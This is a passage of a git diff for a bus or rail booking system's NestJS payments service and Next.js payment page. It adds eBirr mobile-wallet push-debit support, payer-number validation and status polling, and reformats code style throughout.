@ApiPropertyOptional({ + enum: PaymentMethodTypeEnum, + description: "Payment method used externally", + example: "TELEBIRR", + }) + @IsOptional() + @IsEnum(PaymentMethodTypeEnum) + paymentMethod?: PaymentMethodTypeEnum; - @ApiPropertyOptional({ description: 'Internal notes about why this was force-confirmed', example: 'Vendor confirmed via phone' }) - @IsOptional() @IsString() notes?: string; + @ApiPropertyOptional({ + description: "Internal notes about why this was force-confirmed", + example: "Vendor confirmed via phone", + }) + @IsOptional() + @IsString() + notes?: string; } diff --git a/apps/edr-passenger-api/src/modules/payments/payments.service.ts b/apps/edr-passenger-api/src/modules/payments/payments.service.ts index 2b1b14cf1..62b45bdd8 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.service.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.service.ts @@ -86,8 +86,10 @@ export class PaymentsService { ) {} async deletePayment(id: string) { - const intent = await this.prisma.paymentIntent.findUnique({ where: { id } }); - if (!intent) throw new NotFoundException('Payment intent not found'); + const intent = await this.prisma.paymentIntent.findUnique({ + where: { id }, + }); + if (!intent) throw new NotFoundException("Payment intent not found"); await this.prisma.paymentIntent.delete({ where: { id } }); return { deleted: true, id }; } @@ -147,20 +149,29 @@ export class PaymentsService { // For package round-trip bookings the stored amountMinor may be the single-leg // amount. Recompute from the tier price when applicable. let amountMinor = item.amountMinor; - if (b?.packageId && b?.bookingType === 'ROUND_TRIP' && b?.priceTier?.priceMinor) { + if ( + b?.packageId && + b?.bookingType === "ROUND_TRIP" && + b?.priceTier?.priceMinor + ) { const adultFare = b.priceTier.priceMinor * 2; const childFare = Math.round(adultFare * 0.1); - const correctMinor = (b.adultCount || 1) * adultFare + (b.childCount || 0) * childFare; + const correctMinor = + (b.adultCount || 1) * adultFare + (b.childCount || 0) * childFare; // Convert to the charge currency ratio: stored amountMinor is in charge currency // (may be DJF/USD), but correctMinor is in ETB minor. Only override when the // currency is ETB (most common case); for foreign currencies keep stored value. - if (item.currency === 'ETB') amountMinor = correctMinor; + if (item.currency === "ETB") amountMinor = correctMinor; } return { id: item.id, reference: item.id.substring(0, 8), bookingId: item.bookingId, - booking: { bookingRef: b?.bookingRef, totalMinor: b?.totalMinor, currency: b?.currency }, + booking: { + bookingRef: b?.bookingRef, + totalMinor: b?.totalMinor, + currency: b?.currency, + }, amountMinor, currency: item.currency, method: item.method, @@ -187,7 +198,11 @@ export class PaymentsService { priceTierId?: string | null; displayTotalMinor?: number | null; }): Promise { - if (!booking.packageId || !booking.priceTierId || booking.bookingType !== 'ROUND_TRIP') { + if ( + !booking.packageId || + !booking.priceTierId || + booking.bookingType !== "ROUND_TRIP" + ) { return booking.totalMinor; } // New bookings store displayTotalMinor from the frontend's reviewedTotalMinor; their @@ -196,17 +211,30 @@ export class PaymentsService { return booking.totalMinor; } // Legacy path: old bookings may have stored a single-leg totalMinor — recompute from tier. - const tier = await this.prisma.packagePriceTier.findUnique({ where: { id: booking.priceTierId } }); + const tier = await this.prisma.packagePriceTier.findUnique({ + where: { id: booking.priceTierId }, + }); if (!tier) return booking.totalMinor; - const seats = await this.prisma.bookingSeat.findMany({ where: { bookingId: booking.id, leg: 1 }, select: { passengerCategory: true } }); - const adultCount = seats.filter(s => s.passengerCategory === 'ADULT').length || 1; - const childCount = seats.filter(s => s.passengerCategory === 'CHILD').length; + const seats = await this.prisma.bookingSeat.findMany({ + where: { bookingId: booking.id, leg: 1 }, + select: { passengerCategory: true }, + }); + const adultCount = + seats.filter((s) => s.passengerCategory === "ADULT").length || 1; + const childCount = seats.filter( + (s) => s.passengerCategory === "CHILD", + ).length; // tier.priceMinor may be in a non-ETB currency — convert to ETB so the result is // always in the same units as totalMinor (which is always the ETB canonical). const rawFare = tier.priceMinor * 2; - const adultFareMinor = tier.currency && (tier.currency as string) !== 'ETB' - ? await this.currencyService.convertAmount(rawFare, tier.currency as any, 'ETB' as any) - : rawFare; + const adultFareMinor = + tier.currency && (tier.currency as string) !== "ETB" + ? await this.currencyService.convertAmount( + rawFare, + tier.currency as any, + "ETB" as any, + ) + : rawFare; const childFareMinor = Math.round(adultFareMinor * 0.1); return adultCount * adultFareMinor + childCount * childFareMinor; } @@ -233,6 +261,14 @@ export class PaymentsService { ); } + // eBirr is a direct wallet debit — the PIN prompt is pushed to this number over USSD. There + // is no hosted page that could collect it later, so it must be supplied up front. + if (method === PaymentMethodType.EBIRR && !dto.payerAccount?.trim()) { + throw new BadRequestException( + "payerAccount (mobile wallet number) is required for eBirr", + ); + } + // CBE settles ETB only (docs/cbe/CBE_IMPLEMENTATION_PLAN.md D8). payerAccount is NOT // required — CBE identifies the payer at its own channel. if ( @@ -272,7 +308,9 @@ export class PaymentsService { // Opening a session with less than MIN_PAYMENT_WINDOW_MINUTES left produces the worst possible // outcome — the provider captures the money and the booking is already CANCELLED when the // capture lands. WALLET is exempt (returned above): it is an instant internal balance debit. - const paymentDeadline = await this.computeBookingPaymentDeadline(booking.id); + const paymentDeadline = await this.computeBookingPaymentDeadline( + booking.id, + ); const sessionExpiresAt = paymentDeadline ? computePaymentSessionExpiry(paymentDeadline) : undefined; @@ -282,8 +320,8 @@ export class PaymentsService { remainingMs <= 0 ? "The payment window for this booking has expired. Please make a new booking." : `Too little time is left to start a payment (${Math.ceil(remainingMs / 60000)} minute(s) ` + - `until this booking expires; at least ${MIN_PAYMENT_WINDOW_MINUTES} are required). ` + - `Please make a new booking.`, + `until this booking expires; at least ${MIN_PAYMENT_WINDOW_MINUTES} are required). ` + + `Please make a new booking.`, ); } @@ -307,8 +345,12 @@ export class PaymentsService { ? "ETB" : (paymentMethod?.currency ?? booking.currency).toUpperCase(); - const bookingDisplayCurrency = ((booking as any).displayCurrency ?? 'ETB').toUpperCase(); - const bookingDisplayTotalMinor = (booking as any).displayTotalMinor as number | null; + const bookingDisplayCurrency = ( + (booking as any).displayCurrency ?? "ETB" + ).toUpperCase(); + const bookingDisplayTotalMinor = (booking as any).displayTotalMinor as + | number + | null; let chargeAmount: number; if (method === PaymentMethodType.CBE_BILL) { @@ -319,18 +361,24 @@ export class PaymentsService { ); } else if ( chargeCurrency === bookingDisplayCurrency && - chargeCurrency !== 'ETB' && + chargeCurrency !== "ETB" && bookingDisplayTotalMinor != null ) { // Display currency matches charge currency — use the pre-converted amount directly. - chargeAmount = this.currencyService.displayMinorToChargeMajor(bookingDisplayTotalMinor, chargeCurrency); - } else if (chargeCurrency === 'ETB') { - chargeAmount = this.currencyService.displayMinorToChargeMajor(booking.totalMinor, 'ETB'); + chargeAmount = this.currencyService.displayMinorToChargeMajor( + bookingDisplayTotalMinor, + chargeCurrency, + ); + } else if (chargeCurrency === "ETB") { + chargeAmount = this.currencyService.displayMinorToChargeMajor( + booking.totalMinor, + "ETB", + ); } else { // Booking is in ETB — convert to the provider's settlement currency. chargeAmount = await this.currencyService.convertMinorToChargeMajor( booking.totalMinor, - booking.currency, + booking.currency, chargeCurrency, ); } @@ -398,10 +446,15 @@ export class PaymentsService { bookingId, ); if (!snapshot) { - throw new NotFoundException("No active payment to confirm for this booking"); + throw new NotFoundException( + "No active payment to confirm for this booking", + ); } - const confirmed = await this.paymentClient.confirmOtp(snapshot.intentId, otp); + const confirmed = await this.paymentClient.confirmOtp( + snapshot.intentId, + otp, + ); let intent = await this.syncIntentProjection(bookingId, confirmed); if (confirmed.status === ProviderPaymentStatus.SUCCEEDED) { @@ -553,9 +606,8 @@ export class PaymentsService { [PaymentMethodType.CBE_BIRR]: { returnUrl: process.env.CBE_RETURN_URL, }, - [PaymentMethodType.EBIRR]: { - returnUrl: process.env.EBIRR_RETURN_URL, - }, + // No EBIRR entry: the payer never leaves the page — eBirr pushes a PIN prompt to their + // handset — so there is no browser bounce-back to configure. [PaymentMethodType.CARD]: { returnUrl: process.env.CARD_RETURN_URL, }, @@ -632,7 +684,8 @@ export class PaymentsService { failureCode: snapshot.failureCode ?? null, failureMessage: snapshot.failureMessage ?? null, rawInitiation: (snapshot as any).providerResponse - ? ((snapshot as any).providerResponse as unknown as Prisma.InputJsonValue) + ? ((snapshot as any) + .providerResponse as unknown as Prisma.InputJsonValue) : Prisma.DbNull, }; return this.prisma.paymentIntent.upsert({ @@ -730,6 +783,11 @@ export class PaymentsService { status: intent.status, clientAction, merchantOrderId: intent.merchantOrderId ?? undefined, + // eBirr settles inside initiate (its purchase response is the settlement), so a FAILED + // verdict arrives here rather than through a later status poll. Without these the portal + // can only show a generic "please try again" instead of the actual cause. + failureCode: intent.failureCode ?? undefined, + failureMessage: intent.failureMessage ?? undefined, }; } @@ -783,7 +841,6 @@ export class PaymentsService { where: { bookingId }, }); - if (local?.status === PaymentIntentStatus.SUCCEEDED) { const booking = await this.prisma.booking.findUnique({ where: { id: bookingId }, @@ -875,7 +932,12 @@ export class PaymentsService { data: { status: "CANCELLED" }, }); } - await this.auditService.log({ action: 'UPDATE', entityType: 'Payment', entityId: intent.id, newData: { status: 'REFUNDED', bookingId: dto.bookingId } }); + await this.auditService.log({ + action: "UPDATE", + entityType: "Payment", + entityId: intent.id, + newData: { status: "REFUNDED", bookingId: dto.bookingId }, + }); return { refunded: true, bookingRef: booking?.bookingRef }; } @@ -897,17 +959,20 @@ export class PaymentsService { } async updatePaymentMethod(id: string, dto: Partial) { - const existing = await this.prisma.paymentMethod.findUnique({ where: { id } }); - if (!existing) throw new NotFoundException('Payment method not found'); - + const existing = await this.prisma.paymentMethod.findUnique({ + where: { id }, + }); + if (!existing) throw new NotFoundException("Payment method not found"); + const updateData: any = {}; if (dto.displayName !== undefined) updateData.displayName = dto.displayName; - if (dto.region !== undefined) updateData.region = dto.region as unknown as PaymentRegion; + if (dto.region !== undefined) + updateData.region = dto.region as unknown as PaymentRegion; if (dto.currency !== undefined) updateData.currency = dto.currency; if (dto.providerId !== undefined) updateData.providerId = dto.providerId; if (dto.enabled !== undefined) updateData.enabled = dto.enabled; if (dto.sortOrder !== undefined) updateData.sortOrder = dto.sortOrder; - + return this.prisma.paymentMethod.update({ where: { id }, data: updateData, @@ -949,24 +1014,31 @@ export class PaymentsService { displayTotalMinor: true, }, }); - if (!booking) throw new NotFoundException('Booking not found'); + if (!booking) throw new NotFoundException("Booking not found"); const correctTotalMinor = await this.resolveBookingTotal(booking as any); const requestedCurrency = currency.toUpperCase(); // Source of truth: displayTotalMinor in displayCurrency when available, // otherwise totalMinor in ETB (bookings with no display currency override). - const sourceCurrency = (booking.displayCurrency ?? 'ETB').toUpperCase(); + const sourceCurrency = (booking.displayCurrency ?? "ETB").toUpperCase(); const sourceMinor = booking.displayTotalMinor ?? correctTotalMinor; // Same currency — return directly, no conversion needed. if (requestedCurrency === sourceCurrency) { - return { booking_id: bookingId, currency: requestedCurrency, amount: sourceMinor / 100 }; + return { + booking_id: bookingId, + currency: requestedCurrency, + amount: sourceMinor / 100, + }; } const exchangeRate = await this.prisma.currencyExchangeRate.findFirst({ - where: { fromCurrency: sourceCurrency as any, toCurrency: requestedCurrency as any }, - orderBy: { effectiveDate: 'desc' }, + where: { + fromCurrency: sourceCurrency as any, + toCurrency: requestedCurrency as any, + }, + orderBy: { effectiveDate: "desc" }, }); let rate: number; @@ -975,18 +1047,28 @@ export class PaymentsService { } else { // Try inverse rate const inverseRate = await this.prisma.currencyExchangeRate.findFirst({ - where: { fromCurrency: requestedCurrency as any, toCurrency: sourceCurrency as any }, - orderBy: { effectiveDate: 'desc' }, + where: { + fromCurrency: requestedCurrency as any, + toCurrency: sourceCurrency as any, + }, + orderBy: { effectiveDate: "desc" }, }); if (inverseRate) { rate = 1 / Number(inverseRate.rate); } else { // Bridge via ETB (e.g. DJF→USD = (DJF→ETB) × (ETB→USD)) - rate = await this.currencyService.getRateOrThrow(sourceCurrency as any, requestedCurrency as any); + rate = await this.currencyService.getRateOrThrow( + sourceCurrency as any, + requestedCurrency as any, + ); } } const converted = (sourceMinor / 100) * rate; - return { booking_id: bookingId, currency: requestedCurrency, amount: converted }; + return { + booking_id: bookingId, + currency: requestedCurrency, + amount: converted, + }; } /** @@ -1100,7 +1182,9 @@ export class PaymentsService { select: { status: true }, }); if (idempotencyBooking?.status === "CONFIRMED") { - const ticketCount = await this.prisma.ticket.count({ where: { bookingId: intent.bookingId } }); + const ticketCount = await this.prisma.ticket.count({ + where: { bookingId: intent.bookingId }, + }); if (ticketCount === 0) { try { await this.ticketsService.generate(intent.bookingId); @@ -1110,7 +1194,9 @@ export class PaymentsService { `Ticket generation failed on idempotency retry for booking ${intent.bookingId}: ${msg}. Attempting smart seat reassignment.`, ); try { - await this.ticketsService.smartAssignAndGenerate(intent.bookingId); + await this.ticketsService.smartAssignAndGenerate( + intent.bookingId, + ); } catch (retryErr) { this.logger.error( `Error generating ticket on idempotency retry for booking ${intent.bookingId}: ${retryErr instanceof Error ? retryErr.message : String(retryErr)}`, @@ -1206,7 +1292,9 @@ export class PaymentsService { ); } } else { - this.logger.error(`Error generating ticket for booking ${booking.id}: ${msg}`); + this.logger.error( + `Error generating ticket for booking ${booking.id}: ${msg}`, + ); } } @@ -1226,22 +1314,40 @@ export class PaymentsService { return { alreadyFinalized: false }; } - private async handleSupplementaryChargeEvent(event: PaymentEventDto): Promise { - if (event.eventType === 'payment.failed') { - this.logger.warn(`supplementary charge ${event.referenceId} payment failed`); + private async handleSupplementaryChargeEvent( + event: PaymentEventDto, + ): Promise { + if (event.eventType === "payment.failed") { + this.logger.warn( + `supplementary charge ${event.referenceId} payment failed`, + ); return { processed: true }; } - const charge = await this.prisma.supplementaryCharge.findUnique({ where: { id: event.referenceId } }); + const charge = await this.prisma.supplementaryCharge.findUnique({ + where: { id: event.referenceId }, + }); if (!charge) { - this.logger.error(`mark-paid: no supplementary charge for reference ${event.referenceId}`); - return { processed: false, reason: 'charge-not-found' }; + this.logger.error( + `mark-paid: no supplementary charge for reference ${event.referenceId}`, + ); + return { processed: false, reason: "charge-not-found" }; } - if (charge.status === 'PAID') return { processed: true, alreadyFinalized: true }; + if (charge.status === "PAID") + return { processed: true, alreadyFinalized: true }; await this.prisma.supplementaryCharge.update({ where: { id: charge.id }, - data: { status: 'PAID', paidAt: new Date(), providerTxnId: event.providerTxnId ?? null }, + data: { + status: "PAID", + paidAt: new Date(), + providerTxnId: event.providerTxnId ?? null, + }, + }); + await this.auditService.log({ + action: "UPDATE", + entityType: "SupplementaryCharge", + entityId: charge.id, + newData: { status: "PAID", providerTxnId: event.providerTxnId }, }); - await this.auditService.log({ action: 'UPDATE', entityType: 'SupplementaryCharge', entityId: charge.id, newData: { status: 'PAID', providerTxnId: event.providerTxnId } }); return { processed: true }; } @@ -1303,7 +1409,8 @@ export class PaymentsService { // normalize before comparing; a short payment must NOT confirm the booking. Amount-only — // the display↔charge currency divergence is tracked separately under the USD/DJF // findings. The 1% tolerance absorbs rounding. - const expectedMajor = (booking.displayTotalMinor ?? booking.totalMinor) / 100; + const expectedMajor = + (booking.displayTotalMinor ?? booking.totalMinor) / 100; const shortPayTolerance = Math.max(0.01, expectedMajor * 0.01); if (event.amountMinor < expectedMajor - shortPayTolerance) { this.logger.error( @@ -1397,15 +1504,22 @@ export class PaymentsService { return { processed: true, alreadyFinalized }; } - async forceConfirmPayment(bookingId: string, dto: ForceConfirmDto = {}): Promise<{ alreadyFinalized: boolean }> { - const booking = await this.prisma.booking.findUnique({ where: { id: bookingId } }); - if (!booking) throw new NotFoundException('Booking not found'); + async forceConfirmPayment( + bookingId: string, + dto: ForceConfirmDto = {}, + ): Promise<{ alreadyFinalized: boolean }> { + const booking = await this.prisma.booking.findUnique({ + where: { id: bookingId }, + }); + if (!booking) throw new NotFoundException("Booking not found"); const resolvedMethod = dto.paymentMethod ? (dto.paymentMethod as unknown as PaymentMethodType) : PaymentMethodType.TELEBIRR; - let intent = await this.prisma.paymentIntent.findUnique({ where: { bookingId } }); + let intent = await this.prisma.paymentIntent.findUnique({ + where: { bookingId }, + }); if (!intent) { intent = await this.prisma.paymentIntent.create({ data: { @@ -1425,7 +1539,10 @@ export class PaymentsService { if (dto.paymentReference) updateData.providerTxnId = dto.paymentReference; if (dto.paymentMethod) updateData.method = resolvedMethod; if (dto.notes) updateData.failureMessage = dto.notes; - if (intent.status === PaymentIntentStatus.CANCELLED || intent.status === PaymentIntentStatus.FAILED) { + if ( + intent.status === PaymentIntentStatus.CANCELLED || + intent.status === PaymentIntentStatus.FAILED + ) { updateData.status = PaymentIntentStatus.PROCESSING; } if (Object.keys(updateData).length) { @@ -1441,7 +1558,17 @@ export class PaymentsService { providerTxnId: dto.paymentReference ?? intent.providerTxnId ?? undefined, force: true, }).then(async (result) => { - await this.auditService.log({ action: 'UPDATE', entityType: 'Payment', entityId: intent.id, newData: { status: 'FORCE_CONFIRMED', bookingId, paymentMethod: dto.paymentMethod, paymentReference: dto.paymentReference } }); + await this.auditService.log({ + action: "UPDATE", + entityType: "Payment", + entityId: intent.id, + newData: { + status: "FORCE_CONFIRMED", + bookingId, + paymentMethod: dto.paymentMethod, + paymentReference: dto.paymentReference, + }, + }); return result; }); } @@ -1512,78 +1639,106 @@ export class PaymentsService { // Build per-leg definitions: { scheduleId, originStationId, destinationStationId, seatIds[] } // BookingSeat.leg: 1=outbound/leg-1, 2=return/leg-2, 3=return leg-1 (transit), 4=return leg-2 - type LegDef = { scheduleId: string; originStationId: string; destinationStationId: string; seatIds: string[] }; + type LegDef = { + scheduleId: string; + originStationId: string; + destinationStationId: string; + seatIds: string[]; + }; const legDefs: LegDef[] = []; const seatsForLeg = (legNum: number) => - booking.seats.filter((s: any) => s.leg === legNum).map((s: any) => s.seatId); + booking.seats + .filter((s: any) => s.leg === legNum) + .map((s: any) => s.seatId); - if (booking.bookingType === 'ONE_WAY') { + if (booking.bookingType === "ONE_WAY") { legDefs.push({ - scheduleId: booking.scheduleId, - originStationId: b.originStationId, + scheduleId: booking.scheduleId, + originStationId: b.originStationId, destinationStationId: b.destinationStationId, - seatIds: booking.seats.map((s: any) => s.seatId), + seatIds: booking.seats.map((s: any) => s.seatId), }); - } else if (booking.bookingType === 'ROUND_TRIP') { + } else if (booking.bookingType === "ROUND_TRIP") { legDefs.push({ - scheduleId: booking.scheduleId, - originStationId: b.originStationId, + scheduleId: booking.scheduleId, + originStationId: b.originStationId, destinationStationId: b.destinationStationId, - seatIds: seatsForLeg(1), + seatIds: seatsForLeg(1), }); - if (b.returnScheduleId && b.returnOriginStationId && b.returnDestinationStationId) { + if ( + b.returnScheduleId && + b.returnOriginStationId && + b.returnDestinationStationId + ) { legDefs.push({ - scheduleId: b.returnScheduleId, - originStationId: b.returnOriginStationId, + scheduleId: b.returnScheduleId, + originStationId: b.returnOriginStationId, destinationStationId: b.returnDestinationStationId, - seatIds: seatsForLeg(2), + seatIds: seatsForLeg(2), }); } - } else if (booking.bookingType === 'TRANSIT') { + } else if (booking.bookingType === "TRANSIT") { legDefs.push({ - scheduleId: booking.scheduleId, - originStationId: b.originStationId, + scheduleId: booking.scheduleId, + originStationId: b.originStationId, destinationStationId: b.leg2OriginStationId, // transit station - seatIds: seatsForLeg(1), + seatIds: seatsForLeg(1), }); - if (b.leg2ScheduleId && b.leg2OriginStationId && b.leg2DestinationStationId) { + if ( + b.leg2ScheduleId && + b.leg2OriginStationId && + b.leg2DestinationStationId + ) { legDefs.push({ - scheduleId: b.leg2ScheduleId, - originStationId: b.leg2OriginStationId, + scheduleId: b.leg2ScheduleId, + originStationId: b.leg2OriginStationId, destinationStationId: b.leg2DestinationStationId, - seatIds: seatsForLeg(2), + seatIds: seatsForLeg(2), }); } - } else if (booking.bookingType === 'ROUND_TRIP_TRANSIT') { + } else if (booking.bookingType === "ROUND_TRIP_TRANSIT") { legDefs.push({ - scheduleId: booking.scheduleId, - originStationId: b.originStationId, + scheduleId: booking.scheduleId, + originStationId: b.originStationId, destinationStationId: b.leg2OriginStationId, - seatIds: seatsForLeg(1), + seatIds: seatsForLeg(1), }); - if (b.leg2ScheduleId && b.leg2OriginStationId && b.leg2DestinationStationId) { + if ( + b.leg2ScheduleId && + b.leg2OriginStationId && + b.leg2DestinationStationId + ) { legDefs.push({ - scheduleId: b.leg2ScheduleId, - originStationId: b.leg2OriginStationId, + scheduleId: b.leg2ScheduleId, + originStationId: b.leg2OriginStationId, destinationStationId: b.leg2DestinationStationId, - seatIds: seatsForLeg(2), + seatIds: seatsForLeg(2), }); } - if (b.returnScheduleId && b.returnOriginStationId && b.returnDestinationStationId) { + if ( + b.returnScheduleId && + b.returnOriginStationId && + b.returnDestinationStationId + ) { legDefs.push({ - scheduleId: b.returnScheduleId, - originStationId: b.returnOriginStationId, - destinationStationId: b.returnLeg2OriginStationId ?? b.returnDestinationStationId, - seatIds: seatsForLeg(3), + scheduleId: b.returnScheduleId, + originStationId: b.returnOriginStationId, + destinationStationId: + b.returnLeg2OriginStationId ?? b.returnDestinationStationId, + seatIds: seatsForLeg(3), }); } - if (b.returnLeg2ScheduleId && b.returnLeg2OriginStationId && b.returnLeg2DestStationId) { + if ( + b.returnLeg2ScheduleId && + b.returnLeg2OriginStationId && + b.returnLeg2DestStationId + ) { legDefs.push({ - scheduleId: b.returnLeg2ScheduleId, - originStationId: b.returnLeg2OriginStationId, + scheduleId: b.returnLeg2ScheduleId, + originStationId: b.returnLeg2OriginStationId, destinationStationId: b.returnLeg2DestStationId, - seatIds: seatsForLeg(4), + seatIds: seatsForLeg(4), }); } } @@ -1593,10 +1748,10 @@ export class PaymentsService { const journey = await this.prisma.journey.create({ data: { passengerId: booking.passengerId, - bookingId: booking.id, - status: 'CONFIRMED', - totalMinor: booking.totalMinor, - currency: booking.currency, + bookingId: booking.id, + status: "CONFIRMED", + totalMinor: booking.totalMinor, + currency: booking.currency, } as any, }); @@ -1608,23 +1763,27 @@ export class PaymentsService { const stopTimes = await this.prisma.tripStopTime.findMany({ where: { scheduleId: leg.scheduleId }, - orderBy: { sequence: 'asc' }, + orderBy: { sequence: "asc" }, select: { stationId: true, sequence: true }, }); - const originIdx = stopTimes.findIndex(st => st.stationId === leg.originStationId); - const destIdx = stopTimes.findIndex(st => st.stationId === leg.destinationStationId); + const originIdx = stopTimes.findIndex( + (st) => st.stationId === leg.originStationId, + ); + const destIdx = stopTimes.findIndex( + (st) => st.stationId === leg.destinationStationId, + ); if (originIdx < 0 || destIdx < 0 || originIdx >= destIdx) continue; for (const seatId of leg.seatIds) { for (let i = originIdx; i < destIdx; i++) { journeySegments.push({ - journeyId: journey.id, - scheduleId: leg.scheduleId, - segmentOrder: segmentOrder++, + journeyId: journey.id, + scheduleId: leg.scheduleId, + segmentOrder: segmentOrder++, seatId, departureStationId: stopTimes[i].stationId, - arrivalStationId: stopTimes[i + 1].stationId, + arrivalStationId: stopTimes[i + 1].stationId, }); } } diff --git a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx index 166b1c799..6264428cf 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx @@ -29,6 +29,13 @@ import { Check, } from "lucide-react"; +/** + * Poll budget for the eBirr push flow. The payer has to notice a USSD prompt and type a PIN, so + * this is far longer than the redirect flows' 15 attempts: 80 * 1.5s ≈ 2 min, matching the + * server's EBIRR_PUSH_TTL_MS. + */ +const PUSH_POLL_ATTEMPTS = 80; + const getIconForMethod = (methodId: string) => { if (methodId.includes('CARD')) return CreditCard; if (methodId.includes('WALLET')) return Wallet; @@ -60,6 +67,13 @@ export default function PaymentPage() { } | null>(null); const [billCopied, setBillCopied] = useState(false); + // eBirr push debit: the wallet has prompted the payer on their own handset for a PIN. There is + // nothing to navigate to — we show this and poll until the intent settles. + const [pushAction, setPushAction] = useState<{ + message: string; + payerAccountMasked?: string; + } | null>(null); + // Telebirr mini app: the SuperApp payment sheet is open (or just closed) and we're // polling our own status endpoint for the webhook-backed outcome. const [verifyingPayment, setVerifyingPayment] = useState(false); @@ -176,12 +190,14 @@ export default function PaymentPage() { const res: any = await apiClient.get(`/payments/status/${bookingId}`); if (res?.status === 'SUCCEEDED') { setVerifyingPayment(false); + setPushAction(null); updateStatus("SUCCEEDED"); router.push("/booking/confirmation"); return; } if (res?.status === 'FAILED' || res?.status === 'CANCELLED') { setVerifyingPayment(false); + setPushAction(null); setIsProcessing(false); updateStatus("FAILED"); setPaymentError(res?.failureMessage || "Payment was not completed. Please try again."); @@ -192,9 +208,10 @@ export default function PaymentPage() { } if (attemptsLeft <= 0) { - // Don't call it failed: telebirr may have taken the money and the webhook is simply - // still in flight. Stop spinning, tell the truth, and let the payer re-check. + // Don't call it failed: the gateway may have taken the money and the confirmation is + // simply still in flight. Stop spinning, tell the truth, and let the payer re-check. setVerifyingPayment(false); + setPushAction(null); setIsProcessing(false); setPaymentError( "We haven't received confirmation yet. If you completed the payment, your booking " + @@ -236,8 +253,27 @@ export default function PaymentPage() { platform: isTelebirrMiniApp() ? 'inapp' : 'web', }); }, - onSuccess: async (data: any) => { + onSuccess: (data: any) => { setPaymentError(null); + setPaymentIntent(data.paymentIntentId || data.intentId); + + // A terminal verdict always wins over any clientAction, so this is checked FIRST. + // eBirr settles inside initiate — its debit response is the settlement, there is no + // webhook — so it can come back SUCCEEDED/FAILED while the intent still carries the + // AWAIT_PUSH action it was created with. Reading clientAction first would show "check + // your phone" for a payment that is already decided, and poll until it timed out. + if (data?.status === 'SUCCEEDED') { + updateStatus("SUCCEEDED"); + router.push("/booking/confirmation"); + return; + } + + if (data?.status === 'FAILED' || data?.status === 'CANCELLED') { + setIsProcessing(false); + updateStatus("FAILED"); + setPaymentError(data?.failureMessage || "Payment was not completed. Please try again."); + return; + } // CAC Bank: no redirect — the bank SMS'd an OTP. Collect it in-app and confirm. if (data?.clientAction?.type === 'COLLECT_OTP') { @@ -278,6 +314,21 @@ export default function PaymentPage() { return; } + // eBirr fallback only. The debit is normally settled inside initiate and caught by the + // terminal check above; reaching here means the payer outlasted EBIRR_PURCHASE_TIMEOUT_MS + // while the PIN prompt was still on their handset. The money may since have moved, so poll + // rather than guess. + if (data?.clientAction?.type === 'AWAIT_PUSH') { + setPaymentIntent(data.intentId); + updateStatus("REQUIRES_ACTION"); + setPushAction(data.clientAction); + setVerifyingPayment(true); + // Much longer budget than the redirect flows: the payer has to read a USSD prompt and + // type a PIN. PUSH_POLL_ATTEMPTS * 1.5s ≈ 2 min, matching EBIRR_PUSH_TTL_MS. + void pollPaymentStatus(PUSH_POLL_ATTEMPTS); + return; + } + if ((selectedMethod === 'TELEBIRR' || selectedMethod === 'WAAFI' || selectedMethod === 'DMONEY') && data?.clientAction?.type === 'REDIRECT') { setPaymentIntent(data.intentId); updateStatus("REQUIRES_ACTION"); @@ -285,11 +336,13 @@ export default function PaymentPage() { return; } - setPaymentIntent(data.paymentIntentId || data.intentId); + // Not terminal, and no clientAction we know how to drive. Never assume success: this + // fallthrough used to sleep 2s and route to /booking/confirmation, which showed the payer + // a confirmed booking for a payment that had not happened. Poll for the truth, and if it + // never settles say so rather than inventing an outcome. updateStatus("PROCESSING"); - await new Promise((resolve) => setTimeout(resolve, 2000)); - updateStatus("SUCCEEDED"); - router.push("/booking/confirmation"); + setVerifyingPayment(true); + void pollPaymentStatus(15); }, onError: (error: any) => { updateStatus("FAILED"); @@ -352,7 +405,12 @@ export default function PaymentPage() { } }; - // Fire the actual initiate. `mobile` is only used for CAC (OTP debit). + // Methods that debit an account we must know up front: CAC Bank SMSes an OTP to it, eBirr + // pushes a USSD PIN prompt to it. Neither has a hosted page that could collect it later. + const requiresPayerMobile = (method: string | null): boolean => + method === 'CAC_BANK' || method === 'EBIRR'; + + // Fire the actual initiate. `mobile` is only used by the push-debit methods above. const startPayment = (mobile?: string) => { if (!selectedMethod || !bookingId || !selectedPaymentMethod) return; setIsProcessing(true); @@ -363,7 +421,7 @@ export default function PaymentPage() { paymentMethodId: selectedPaymentMethod.id, currency: displayCurrency, amountMinor: totalAmount, - payerAccount: selectedMethod === 'CAC_BANK' ? mobile?.trim() : undefined, + payerAccount: requiresPayerMobile(selectedMethod) ? mobile?.trim() : undefined, }); }; @@ -378,9 +436,14 @@ export default function PaymentPage() { } setPaymentError(null); - // CAC Bank needs the payer's mobile for the OTP — collect it in a modal before initiating. - if (selectedMethod === 'CAC_BANK') { + if (requiresPayerMobile(selectedMethod)) { setPhoneError(null); + // Prefill with the contact phone we already hold, but leave it editable — the wallet + // paying is often not the number the booking was made under. + if (!payerMobile.trim()) { + const contactPhone = passengers?.find((p) => p.phone)?.phone; + if (contactPhone) setPayerMobile(contactPhone); + } setPhoneModalOpen(true); return; } @@ -620,12 +683,26 @@ export default function PaymentPage() { {isProcessing && (
- {verifyingPayment ? ( + {pushAction ? ( + <> + +

Check your phone

+

+ {pushAction.message} +

+ {pushAction.payerAccountMasked && ( +

+ Sent to {pushAction.payerAccountMasked} +

+ )} + + + ) : verifyingPayment ? ( <>

Confirming payment

- Checking with telebirr — this only takes a moment. + Checking with your payment provider — this only takes a moment.

) : paymentMutation.isSuccess ? ( @@ -645,7 +722,7 @@ export default function PaymentPage() {
)} - {/* CAC Bank — collect payer mobile before initiating */} + {/* Push-debit methods (CAC Bank, eBirr) — collect payer mobile before initiating */} {phoneModalOpen && (
@@ -654,7 +731,9 @@ export default function PaymentPage() {

Your mobile number

- CAC Bank will send a one-time password to this number to authorize the payment. + {selectedMethod === 'EBIRR' + ? "eBirr will prompt this number for your PIN to authorize the payment. Make sure it's the phone you have with you." + : "CAC Bank will send a one-time password to this number to authorize the payment."}

